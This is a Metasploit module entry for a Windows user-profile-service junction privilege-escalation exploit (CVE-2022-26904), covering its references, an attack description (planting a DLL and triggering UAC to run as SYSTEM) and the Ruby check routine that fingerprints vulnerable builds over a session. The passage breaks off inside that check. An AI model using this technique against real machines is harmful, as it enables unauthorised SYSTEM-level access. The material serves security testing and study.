Metasploit Module: User Profile Arbitrary Junction Creation Local Privilege Elevation
Type: exploit
Path: modules/exploits/windows/local/cve_2022_26904_superprofile.rb
Platform: win
Disclosure date: 2022-03-17
References: CVE-2022-26904, URL-https://github.com/rmusser01/SuperProfile, URL-https://web.archive.org/web/[PII_REDACTED]5232/https://halove23.blogspot.com/2022/02/blog-post.html, URL-https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx
Targets: Windows 11

Description:
The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability
            in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of
            the junctions it tries to link together.

            Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a
            UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user.

            Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as
            CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for
            CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it
            as CVE-2022-26904.

            It is important to note that the credentials supplied for the second user to log in as in this exploit must be
            those of a normal non-admin user and these credentials must also corralate with a user who has already logged in
            at least once before. Additionally the current user running the exploit must have UAC set to the highest level,
            aka "Always Notify Me When", in order for the code to be executed as NT AUTHORITY\SYSTEM. Note however that
            "Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances
            where this setting has been changed either manually or as part of the installation process.

Check method (fingerprinting):
sysinfo_value = sysinfo['OS']

    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
    end

    # see https://docs.microsoft.com/en-us/windows/release-information/
    version = get_version_info
    unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Win10_21H2) ||
           version.build_number == Msf::WindowsVersion::Win11_21H2 ||
           version.build_number == Msf::WindowsVersion::Server2022
      return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
    end

    print_status('Checking if PromptOnSecureDesktop mitigation applied...')
    reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'
    reg_val = 'PromptOnSecureDesktop'
    begin
      root_key, base_key = @session.sys.registry.splitkey(reg_key)
      value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)
    rescue Rex::Post::Meterpreter::RequestError => e
      return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")
    end

    if value.data == 0
      return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')
    elsif value.data == 1
      print_good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')
    else
      return CheckCode::Unknown("PromptOnSecureDesktop was